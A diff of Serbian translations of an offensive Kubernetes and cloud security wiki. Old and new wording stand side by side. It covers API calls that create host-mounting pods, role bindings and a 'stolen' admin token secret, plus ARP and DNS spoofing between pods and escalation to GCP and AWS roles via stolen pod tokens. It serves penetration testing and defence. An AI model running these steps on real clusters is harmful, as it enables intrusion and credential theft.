@@ -596,7 +631,7 @@ volumes:
hostPath:
path: /
```
Kreiraj pod sa curl:
Kreirajte pod sa curl:
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -631,7 +666,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
```
### Kreiraj Service Account
### Kreirajte Service Account
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -702,7 +737,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"
```
### Kreiraj Role Binding
### Kreirajte Role Binding
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -719,7 +754,7 @@ curl --path-as-is -i -s -k -X $'POST' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Obrisi Role Binding
### Obriši Role Binding
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -754,7 +789,7 @@ curl --path-as-is -i -s -k -X $'POST' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Obriši Secret
### Izbriši Secret
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -4,13 +4,13 @@
## Uvod
U Kubernetes, primećuje se da podrazumevano ponašanje dozvoljava uspostavljanje veza između **svih containera koji se nalaze na istom node-u**. Ovo važi bez obzira na razlike u namespace-u. Takva povezanost se proteže do **Layer 2** (Ethernet). Posledično, ova konfiguracija potencijalno izlaže sistem ranjivostima. Konkretno, otvara mogućnost da **malicious container** izvrši **ARP spoofing attack** protiv drugih containera koji se nalaze na istom node-u. Tokom takvog napada, malicious container može obmanjujuće presresti ili izmeniti network traffic namenjen drugim containerima.
U Kubernetes, primećeno je da podrazumevano ponašanje dozvoljava uspostavljanje veza između **svih container-a koji se nalaze na istom node-u**. Ovo važi bez obzira na razlike između namespace-ova. Ova povezanost se proteže do **Layer 2** (Ethernet). Kao posledica toga, ova konfiguracija potencijalno izlaže sistem ranjivostima. Konkretno, otvara mogućnost da **malicious container** izvrši **ARP spoofing attack** protiv drugih container-a smeštenih na istom node-u. Tokom takvog attack-a, malicious container može prevarom presresti ili izmeniti network traffic namenjen drugim container-ima.
ARP spoofing attacks uključuju **attacker-a koji šalje falsifikovane ARP** (Address Resolution Protocol) poruke preko local area network. Ovo dovodi do povezivanja **attacker-ove MAC address sa IP address legitimnog računara ili servera na network-u**. Nakon uspešnog izvenja takvog napada, attacker može presresti, izmeniti ili čak zaustaviti podatke u tranzitu. Napad se izvršava na Layer 2 OSI modela, zbog čega podrazumevana povezanost u Kubernetes na ovom sloju predstavlja bezbednosni problem.
ARP spoofing attack-ovi podrazumevaju da **attacker šalje falsifikovane ARP** (Address Resolution Protocol) poruke preko lokalne mreže. To dovodi do povezivanja **attacker-ove MAC adrese sa IP adresom legitimnog računara ili servera na mreži**. Nakon uspešnog izvenja takvog attack-a, attacker može da presretne, izmeni ili čak zaustavi podatke u tranzitu. Attack se izvršava na Layer 2 OSI modela, zbog čega podrazumevana povezanost u Kubernetes na ovom layer-u predstavlja bezbednosni problem.
U scenariju će biti kreirane 4 mašine:
- ubuntu-pe: Privileged mašina za escape na node i proveru metrics (nije potrebno za napad)
- ubuntu-pe: Privileged mašina za escape na node i proveru metrics (nije potrebno za attack)
- **ubuntu-attack**: **Malicious** container u default namespace
- **ubuntu-victim**: **Victim** mašina u kube-system namespace
- **mysql**: **Victim** mašina u default namespace
@@ -96,22 +96,38 @@ kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
```
## Osnovno Kubernetes umrežavanje
## Basic Kubernetes Networking
Ako želite više detalja o mrežnim temama predstavljenim ovde, idite na reference.
If you want more details about the networking topics introduced here, go to the references.
### ARP
Uopšteno govoreći, **pod-to-pod networking unutar node-a** je dostupan preko **bridge-a** koji povezuje sve pod-ove. Ovaj bridge se zove “**cbr0**”. (Neki network plugins će instalirati svoj sopstveni bridge.) **cbr0** takođe može da obavlja ARP (Address Resolution Protocol) rezoluciju. Kada dolazni paket stigne na cbr0, može da razreši odredišnu MAC adresu koristeći ARP.
Generalno govoreći, **pod-to-pod networking unutar node-a** je dostupan preko **bridge**-a koji povezuje sve podove. Ovaj bridge se zove “**cbr0**”. (Neki network plugin-ovi će instalirati svoj bridge.) **cbr0 može takođe da rukuje ARP** (Address Resolution Protocol) rezolucijom. Kada dolazni paket stigne na cbr0, on može da reši odredišnu MAC adresu pomoću ARP.
Ova činjenica implicira da će, podrazumevano, **svaki pod koji radi na istom node-u** moći da **komunicira** sa bilo kojim drugim pod-om na istom node-u (nezavisno od namespace-a) na ethernet nivou (layer 2).
Ova činjenica implicira da će, po difoltu, **svaki pod koji radi na istom node-u** moći da **komunicira** sa bilo kojim drugim podom na istom node-u (nezavisno od namespace-a) na ethernet nivou (layer 2).
> [!WARNING]
> Zato je moguće izvršiti A**RP Spoofing attacks između pod-ova na istom node-u.**
> Therefore, it's possible to perform A**RP Spoofing attacks between pods in the same node.**
### NetworkPolicy and admin policy layers
Kubernetes `NetworkPolicy` je pod traffic control na L3/L4, ali ga enforce-uje CNI plugin, a ne sam API server. Cluster može da čuva NetworkPolicy objekte, a da i dalje dozvoljava traffic ako aktivni CNI to ne implementira, zato uvek validiraj pomoću kontrolisanog allowed source-a i blocked negative-control source-a.
Ne staj na `kubectl get networkpolicy -A`. Clusters koji koriste Cilium, Calico, OVN-Kubernetes, Antrea, ili managed-provider dataplanes takođe mogu imati policy API-je poput `CiliumNetworkPolicy`, `CiliumClusterwideNetworkPolicy`, Calico `GlobalNetworkPolicy`, `AdminNetworkPolicy`, ili `BaselineAdminNetworkPolicy`. Oni mogu da dodaju explicit deny, tier/order, cluster scope, L7/DNS rules, ili admin guardrails koje obična additive Kubernetes NetworkPolicy semantika ne objašnjava.
Korisne prve provere:
```bash
kubectl api-resources | grep -Ei 'networkpolicy|adminnetworkpolicy|cilium|calico'
kubectl get networkpolicy -A
kubectl get cnp,ccnp -A 2>/dev/null
kubectl get globalnetworkpolicy -A 2>/dev/null
kubectl get adminnetworkpolicy,baselineadminnetworkpolicy -A 2>/dev/null
```
Za bypass analizu, proverite da li je namenjeni blok zaobiđen kroz dozvoljeni proxy, DNS ili egress gateway, `hostNetwork` pod, node-local path, širok namespace ili pod label selector, ili policy višeg prioriteta kao admin/global policy. Prijavite source pod labels, namespace labels, destination Service ili EndpointSlice, CNI/policy implementation, deciding policy rule, i traffic proof.
### DNS
U kubernetes okruženjima obično ćete naći 1 (ili više) **DNS services koji rade** obično u kube-system namespace-u:
U kubernetes okruženjima ćete obično pronaći 1 (ili više) **DNS servisa koji rade** obično u kube-system namespace-u:
```bash
kubectl -n kube-system describe services
Name: kube-dns
@@ -136,9 +152,9 @@ Port: metrics 9153/TCP
TargetPort: 9153/TCP
Endpoints: 172.17.0.2:9153
```
U prethodnim informacijama možeš videti nešto zanimljivo, **IP servisa** je **10.96.0.10**, ali **IP poda** koji pokreće servis je **172.17.0.2.**
U prethodnim informacijama možete videti nešto zanimljivo, **IP adresa servisa** je **10.96.0.10** ali je **IP adresa poda** koji pokreće servis **172.17.0.2.**
Ako proveriš DNS address unutar bilo kog poda, naći ćeš nešto poput ovoga:
Ako proverite DNS adresu unutar bilo kog poda, naći ćete nešto poput ovoga:
```
cat /etc/resolv.conf
nameserver 10.96.0.10
@@ -148,14 +164,14 @@ Međutim, pod **ne zna** kako da stigne do te **adrese** zato što je **pod rang
Zato će pod slati **DNS requests na adresu 10.96.0.10** koja će biti **translated** od strane cbr0 **u** **172.17.0.2**.
> [!WARNING]
> Ovo znači da će **DNS request** od poda **uvek** ići preko **bridge** da bi se **translated** **service IP to the endpoint IP**, čak i ako je DNS server u istoj subnet mreži kao pod.
> Ovo znači da će **DNS request** nekog poda **uvek** ići preko **bridge** da bi se **translate**-ovao **service IP u endpoint IP**, čak i ako je DNS server u istoj podmreži kao i pod.
>
> Znajući ovo, i znajući da su **ARP attacks** mogući, **pod** na node-u će moći da **intercept** saobraćaj između **svakog poda** u **subnetwork** i **bridge** i da **modify** **DNS responses** od DNS servera (**DNS Spoofing**).
> Znajući ovo, i znajući da su **ARP attacks possible**, **pod** na nodu će moći da **intercept the traffic** između **svakog poda** u **subnetwork** i **bridge** i da **modify** **DNS responses** od DNS servera (**DNS Spoofing**).
>
> Pored toga, ako je **DNS server** na **istom node-u kao attacker**, attacker može da **intercept** sve **DNS request** bilo kog poda u cluster-u (između DNS servera i bridge-a) i da modifikuje responses.
> Pored toga, ako je **DNS server** na istom nodu kao napadač, napadač može da **intercept all the DNS request** bilo kog poda u klasteru (između DNS servera i bridge-a) i da modifikuje odgovore.
> [!NOTE]
> Validate aktivni CNI i DNS path pre nego što pretpostavite da ovo radi u realnom cluster-u. Neki CNI-jevi drugačije rutiraju ili izoliraju traffic na istom node-u, a cluster-i koji koriste NodeLocal DNSCache mogu slati pod DNS queries na node-local adresu pre prosleđivanja ka CoreDNS. U tim okruženjima, DNS spoofing zavisi od položaja poda, packet capabilities, resolver konfiguracije, ponašanja node-local cache-a i toga da li aplikacije verifikuju peers pomoću TLS ili drugog identity mehanizma.
> Validate the active CNI and DNS path before assuming this works in a real cluster. Some CNIs route or isolate same-node traffic differently, and clusters using NodeLocal DNSCache may send pod DNS queries to a node-local address before forwarding to CoreDNS. In those environments, DNS spoofing depends on pod placement, packet capabilities, resolver configuration, node-local cache behavior, and whether applications verify peers with TLS or another identity mechanism.
## ARP Spoofing u podovima na istom Node-u
@@ -236,16 +252,16 @@ arpspoof -t 172.17.0.9 172.17.0.10
```
## DNS Spoofing
Kao što je već pomenuto, ako **kompromitujete pod na istom node-u kao DNS server pod**, možete da uradite **MitM** pomoću **ARPSpoofing** nad **bridge** i DNS podom i da **izmenite sve DNS odgovore**.
Kao što je već pomenuto, ako **compromise**-ujete pod na istom node-u kao i pod DNS servera, možete da radite **MitM** pomoću **ARPSpoofing** između **bridge** i DNS pod-a i da **modify**-ujete sve DNS odgovore.
Imate veoma dobar **tool** i **tutorial** da ovo testirate na [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
U našem scenariju, **preuzmite** **tool** na attacker pod-u i napravite **fajl nazvan `hosts`** sa **domainima** koje želite da **spoofujete**, kao:
U našem scenariju, **download**-ujte **tool** na attacker pod i napravite **file named `hosts`** sa **domains** koje želite da **spoof**-ujete, kao što je:
```
cat hosts
google.com. 1.1.1.1
```
Izvedite napad na ubuntu-victim mašinu:
Izvrši napad na ubuntu-victim mašinu:
```
python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
@@ -268,11 +284,11 @@ google.com. 1 IN A 1.1.1.1
## DNS Spoofing via coreDNS configmap
Korisnik sa write permissions nad configmap `coredns` u namespace-u kube-system može da modifikuje DNS odgovore klastera.
Korisnik sa write permissions nad configmap `coredns` u namespace-u kube-system može da izmeni DNS odgovore klastera.
Takođe proverite NodeLocal DNSCache ako je deployovan. Obično radi kao hostNetwork DaemonSet i ima svoj ConfigMap, logs, cache i forwarding path. CoreDNS promena možda nije jedino mesto gde DNS ponašanje može da se utiče ili posmatra.
Takođe proverite NodeLocal DNSCache ako je deploy-ovan. Obično radi kao hostNetwork DaemonSet i ima sopstveni ConfigMap, logs, cache i forwarding path. CoreDNS promena možda nije jedino mesto gde DNS ponašanje može da se utiče ili posmatra.
Proverite više informacija o ovom napadu u:
Više informacija o ovom attack-u pogledajte u:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/README.md
@@ -280,7 +296,7 @@ abusing-roles-clusterroles-in-kubernetes/README.md
## Abusing exposed kubernetes management services
Services kao što su Apache NiFi, Kubeflow, Argo Workflows, Weave Scope i Kubernetes dashboard su često izloženi ili internetu ili unutar kubernetes network. Attacker koji uspe da **nađe bilo koju platformu koja se koristi za upravljanje kubernetes-om i pristupi joj** može da je abuse-uje da dobije pristup kubernetes API-ju i izvrši actions kao što su kreiranje novih podova, modifikovanje postojećih ili čak brisanje njih.
Usluge kao što su Apache NiFi, Kubeflow, Argo Workflows, Weave Scope i Kubernetes dashboard su često exposed bilo na internet ili unutar kubernetes mreže. Attacker koji uspe da **pronađe bilo koju platformu koja se koristi za upravljanje kubernetes-om i pristupi joj** može da je abuse-uje da dobije access do kubernetes API-ja i izvrši akcije poput kreiranja novih podova, modifikovanja postojećih ili čak brisanja istih.
## Enumerating kubernetes network policies
@@ -288,22 +304,22 @@ Get configured **networkpolicies**:
```bash
kubectl get networkpolicies --all-namespaces
```
Get **Callico** network policies:
Dobijte **Callico** network policies:
```bash
kubectl get globalnetworkpolicy --all-namespaces
```
Dobij **Cillium** network policies:
Nabavite **Cillium** network policies:
```bash
kubectl get ciliumnetworkpolicy --all-namespaces
```
Preuzmite druge policy-related CRDs koje je instalirao vaš network plugin ili security solution:
Instalirajte druge policy-related CRDs koje instalira vaš network plugin ili security solution:
```bash
kubectl get crd | grep -i policy
```
## Capturing Traffic
Alat [**Mizu**](https://github.com/up9inc/mizu) je jednostavan, ali moćan API **traffic viewer for Kubernetes** koji omogućava da **vidite svu API komunikaciju** između microservices kako biste lakše debug i troubleshoot regressions.\
Instaliraće agente u izabrane pods i prikupiti njihove traffic informacije, pa će vam ih prikazati u web serveru. Međutim, za ovo će vam trebati visoke K8s permissions (i nije baš stealthy).
Alat [**Mizu**](https://github.com/up9inc/mizu) je jednostavan, ali moćan API **traffic viewer for Kubernetes** koji ti omogućava da **pregledaš svu API komunikaciju** između microservices kako bi lakše debug i rešavao regresije.\
Instaliraće agente u izabrane pods i prikupiti informacije o njihovom traffic-u, a zatim će ti ih prikazati u web server-u. Međutim, za ovo će ti trebati visoke K8s permissions (i nije baš stealthy).
## References
@@ -4,30 +4,30 @@
## GCP
Ako pokrećete k8s cluster unutar GCP, verovatno ćete želeti da neka aplikacija koja radi unutar clustera ima neki access ka GCP. Postoje 2 uobičajena načina da se to uradi:
Ako pokrećete k8s cluster unutar GCP, verovatno ćete želeti da neka aplikacija koja radi unutar clustera ima neki pristup GCP-u. Postoje 2 uobičajena načina za to:
### Mounting GCP-SA keys as secret
Uobičajen način da se **kubernetes aplikaciji omogući access ka GCP** je da:
Uobičajen način da se **kubernetes aplikaciji omogući access do GCP** je:
- Kreirate GCP Service Account
- Dodelite mu željene permissions
- Preuzmete json key kreiranog SA
- Mountujete ga kao secret unutar poda
- Postavite promenljivu okruženja GOOGLE_APPLICATION_CREDENTIALS koja pokazuje na putanju gde se nalazi json.
- Napraviti GCP Service Account
- Dodeliti mu željene permissions
- Preuzeti json key kreiranog SA
- Montirati ga kao secret unutar poda
- Podesiti promenljivu okruženja GOOGLE_APPLICATION_CREDENTIALS koja pokazuje na putanju gde se nalazi json.
> [!WARNING]
> Dakle, kao **attacker**, ako kompromitujete container unutar poda, trebalo bi da proverite tu **env** **variable** i **json** **files** sa GCP credentials.
> Zato, kao **attacker**, ako kompromitujete container unutar poda, trebalo bi da proverite tu **env** **variable** i **json** **files** sa GCP credentials.
### Relating GSA json to KSA secret
Način da se GSA omogući access ka GKE cluser-u je da se oni povežu na ovaj način:
Način da se omogući access GSA-u na GKE cluser je da ih povežete na ovaj način:
- Kreirajte Kubernetes service account u istom namespace-u kao vaš GKE cluster koristeći sledeću komandu:
- Kreirati Kubernetes service account u istom namespace-u kao vaš GKE cluster koristeći sledeću komandu:
```bash
kubectl create serviceaccount <service-account-name>
```
- Kreirajte Kubernetes Secret koji sadrži kredencijale GCP service account-a kojem želite da odobrite pristup GKE cluster-u. Ovo možete uraditi pomoću `gcloud` command-line tool-a, kao što je prikazano u sledećem primeru:
- Kreirajte Kubernetes Secret koji sadrži kredencijale GCP service account-a kojem želite da dodelite pristup GKE klasteru. To možete uraditi pomoću `gcloud` komandne linije, kao što je prikazano u sledećem primeru:
```bash
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
@@ -40,26 +40,26 @@ kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
```
> [!WARNING]
> U **drugom koraku** su postavljeni **credentials GSA** kao secret **KSA**. Zatim, ako možeš da **pročitaš taj secret** iz **unutrašnjosti** **GKE** klastera, možeš da se **eskaliraš do tog GCP service account**.
> U **drugom koraku** su postavljeni **credentials GSA kao secret KSA**. Zatim, ako možete da **pročitate taj secret** iz **unutrašnjosti** **GKE** klastera, možete da **eskalirate na taj GCP service account**.
### GKE Workload Identity
Uz Workload Identity, možemo da konfigurišemo a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) da se ponaša kao a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pod-ovi koji rade sa Kubernetes service account-om će se automatski autentifikovati kao Google service account kada pristupaju Google Cloud API-jima.
Sa Workload Identity, možemo da konfigurišemo[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) da se ponaša kao[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Podovi koji rade sa Kubernetes service account-om će se automatski autentifikovati kao Google service account kada pristupaju Google Cloud API-jima.
**Prvi niz koraka** da se omogući ovo ponašanje je da se **omogući Workload Identity u GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) i kreira GCP SA koji želiš da k8s impersonate-uje.
**Prvi niz koraka** za omogućavanje ovog ponašanja je da se **omogući Workload Identity u GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) i da se kreira GCP SA koji želite da k8s impersonate.
- **Enable Workload Identity** na novom cluster-u
- **Enable Workload Identity** na novom klasteru
```bash
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
```
- **Kreiraj/Ažuriraj novi nodepool** (Autopilot clusters ne trebaju ovo)
- **Kreirajte/ažurirajte novi nodepool** (Autopilot klasteri ne trebaju ovo)
```bash
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
```
- Kreirajte **GCP Service Account to impersonate** iz K8s sa GCP dozvolama:
- Kreiraj **GCP Service Account to impersonate** iz K8s sa GCP permissions:
```bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>
@@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
```
- **Poveži se** na **cluster** i **kreiraj** **service account** za korišćenje
- **Poveži se** sa **clusterom** i **kreiraj** **service account** za upotrebu
```bash
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1
@@ -80,7 +80,7 @@ kubectl create namespace testing
# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
```
- **Poveži GSA sa KSA**
- **Povežite GSA sa KSA**
```bash
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
@@ -118,15 +118,15 @@ kubectl exec -it workload-identity-test \
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
```
Proveri sledeću komandu za autentifikaciju, u slučaju potrebe:
Proverite sledeću komandu za autentifikaciju u slučaju potrebe:
```bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
```
> [!WARNING]
> Kao napadač unutar K8s trebalo bi da **tražite SAs** sa **`iam.gke.io/gcp-service-account` annotation** jer to ukazuje da SA može da pristupi nečemu u GCP. Druga opcija bi bila da pokušate da abuse-ujete svaki KSA u cluster-u i proverite da li ima pristup.\
> Iz GCP je uvek zanimljivo enumerisati bindings i znati **koji access dajete SAs unutar Kubernetes**.
> Kao napadač unutar K8s trebalo bi da **tražiš SAs** sa **`iam.gke.io/gcp-service-account` annotation** jer to ukazuje da SA može da pristupi nečemu u GCP. Druga opcija bi bila da pokušaš da zloupotrebiš svaki KSA u klasteru i proveriš da li ima pristup.\
> Iz GCP je uvek zanimljivo enumerisati bindings i znati **koji access dodeljuješ SAs unutar Kubernetes**.
Ovo je skripta za lako **iteriranje kroz sve podove** definicije **tražeći** tu **annotation**:
Ovo je script za lako **iteriranje kroz sve pod** definicije i **traženje** tog **annotation**:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -141,9 +141,9 @@ done | grep -B 1 "gcp-service-account"
### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
Zastareli način da se dodele IAM Roles Pods jeste korišćenje [**Kiam**](https://github.com/uswitch/kiam) ili [**Kube2IAM**](https://github.com/jtblin/kube2iam) **servera.** U osnovi, potrebno je da pokreneš **daemonset** u svom cluster-u sa **nekom vrstom privileged IAM role**. Taj daemonset će biti onaj koji daje pristup IAM roles podovima kojima je to potrebno.
Zastareo način da se dodele IAM Roles za Pods je da se koristi [**Kiam**](https://github.com/uswitch/kiam) ili [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** U suštini, potrebno je da pokrenete **daemonset** u svom clusteru sa **nekom vrstom privileged IAM role**. Taj daemonset će biti taj koji će davati pristup IAM roles podovima kojima je to potrebno.
Pre svega, treba da konfigurišeš **koje roles mogu da se koriste unutar namespace-a**, a to radiš pomoću annotation unutar namespace objekta:
Pre svega, potrebno je da konfigurišete **koje roles mogu da budu dostupne unutar namespace-a**, a to se radi pomoću anotacije unutar namespace objekta:
```yaml:Kiam
kind: Namespace
metadata:
@@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
```
Kada je namespace konfigurisan sa IAM role-ovima koje Pod-ovi mogu imati, možeš **naznačiti željenu rolu u definiciji svakog poda sa nečim poput**:
Kada je namespace konfigurisan sa IAM roles koje Pod-ovi mogu imati, možete **naznačiti role koju želite u svakoj definiciji poda sa nečim poput**:
```yaml:Kiam & Kube2iam
kind: Pod
metadata:
@@ -171,12 +171,12 @@ annotations:
iam.amazonaws.com/role: reportingdb-reader
```
> [!WARNING]
> Kao napadač, ako **nađete ove annotations** u pods ili namespaces ili kiam/kube2iam server koji radi (u kube-system verovatno) možete da **impersonate every r**ole koja je već **used by pods** i još više (ako imate access do AWS account, enumerate the roles).
> Kao napadač, ako **pronađeš ove anotacije** u podovima ili namespace-ovima ili je pokrenut kiam/kube2iam server (verovatno u kube-system) možeš da **impersonate-uješ svaku r**olu koja je već **korišćena od strane podova** i više (ako imaš pristup AWS nalogu, enumeriši role).
#### Create Pod with IAM Role
> [!NOTE]
> IAM role koju treba navesti mora biti u istom AWS account kao kiam/kube2iam role i ta role mora moći da joj pristupi.
> IAM role koju treba navesti mora biti u istom AWS nalogu kao i kiam/kube2iam role i ta role mora moći da joj pristupi.
```yaml
echo 'apiVersion: v1
kind: Pod
@@ -196,10 +196,10 @@ args: ["-c", "sleep 100000"]' | kubectl apply -f -
Ovo je **preporučeni način od strane AWS**.
1. Pre svega treba da [kreirate OIDC provider za cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
1. Prvo treba da [kreirate OIDC provider za cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
2. Zatim kreirate IAM role sa permissions koje će SA zahtevati.
3. Kreirajte [trust relationship između IAM role i naziva SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) (ili namespace-ova, dajući access svim SA u tom namespace-u). _Trust relationship će uglavnom proveravati OIDC provider name, namespace name i SA name_.
4. Na kraju, **kreirajte SA sa annotation koja pokazuje ARN role**, i pods koji rade sa tom SA će imati **access to the token of the role**. **token** se **upisuje** u fajl i path je naveden u **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
3. Kreirajte [trust relationship između IAM role i SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) imena (ili namespace-ove, dajući access roli svim SA u namespace-u). _Trust relationship će uglavnom proveravati OIDC provider name, namespace name i SA name_.
4. Na kraju, **kreirajte SA sa annotation koja označava ARN role**, i pods koji rade sa tom SA će imati **access do tokena role**. **Token** se **upisuje** u fajl i path je naveden u **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
```bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
@@ -216,17 +216,17 @@ kubectl apply -f my-service-account.yaml
# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
```
Da biste **dobijete aws koristeći token** iz `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` pokrenite:
Da biste **dobijali aws koristeći token** iz `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` pokrenite:
```bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
```
> [!WARNING]
> Kao napadač, ako možeš da enumerišeš K8s cluster, proveri **service accounts sa tom anotacijom** da bi **eskalirao na AWS**. Da bi to uradio, samo **exec/create** **pod** koristeći jedan od IAM **privileged service accounts** i ukradi token.
>
> Pored toga, ako si unutar poda, proveri env variables kao što su **AWS_ROLE_ARN** i **AWS_WEB_IDENTITY_TOKEN.**
> Takođe, ako si unutar poda, proveri env promenljive poput **AWS_ROLE_ARN** i **AWS_WEB_IDENTITY_TOKEN.**
> [!CAUTION]
> Ponekad **Turst Policy role** može biti **loše konfigurisana** i umesto da daje AssumeRole access očekivanom service account-u, daje ga **svim service accounts**. Zato, ako možeš da upišeš anotaciju na kontrolisani service account, možeš da pristupiš roli.
> Ponekad **Turst Policy role-a** može biti **loše konfigurisan** i umesto da daje AssumeRole pristup očekivanom service accountu, daje ga **svim service accountima**. Zato, ako možeš da upišeš anotaciju na kontrolisani service account, možeš da pristupiš roli.
>
> Proveri **sledeću stranicu za više informacija**:
@@ -234,9 +234,52 @@ aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/
../aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}
### EKS Pod Identity
EKS Pod Identity je noviji AWS-managed način da se IAM role poveže sa Kubernetes service accountom bez oslanjanja na to da svaki workload poziva STS sa IRSA web identity tokenom. Cluster pokreće EKS Pod Identity Agent na nodovima, EKS API čuva pod identity associations, a AWS SDK-ovi u odabranim podovima dobijaju credentials kroz container credentials provider path koji izlaže agent.
Iz Kubernetes-a, zanimljiv dokaz je i dalje odnos service accounta i poda, ali su runtime signali drugačiji od IRSA. Traži AWS container credential env promenljive u podovima, a ne samo `AWS_WEB_IDENTITY_TOKEN_FILE`:
```bash
kubectl get pods -A -o yaml | grep -nE 'AWS_CONTAINER_CREDENTIALS|AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE|AWS_ROLE_ARN|AWS_WEB_IDENTITY_TOKEN_FILE'
kubectl get serviceaccounts -A -o yaml | grep -nE 'eks.amazonaws.com|role-arn'
kubectl get ds -A | grep -i 'pod.identity\|eks-pod-identity'
```
Iz AWS, enumerišite associations, a zatim ih mapirajte nazad na Kubernetes namespaces i service accounts:
```bash
aws eks list-pod-identity-associations --cluster-name <cluster>
aws eks describe-pod-identity-association \
--cluster-name <cluster> \
--association-id <association-id>
```
Unutar povezanog pod-a, glavni runtime indikatori su variables za provider credentials kontejnera koje injektuje EKS:
```bash
env | grep -E '^AWS_CONTAINER_(CREDENTIALS_FULL_URI|AUTHORIZATION_TOKEN_FILE)='
ls -l /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/ 2>/dev/null
aws sts get-caller-identity
```
Lokalni credential endpoint je obično `http://169.254.170.23/v1/credentials`, a authorization token je projected service account token za `pods.eks.amazonaws.com` audience. Zapamti da AWS SDK credential-provider redosled i dalje važi: ako su static environment credentials ili shared credential files konfigurisani ranije u lancu, pod može koristiti njih umesto Pod Identity association.
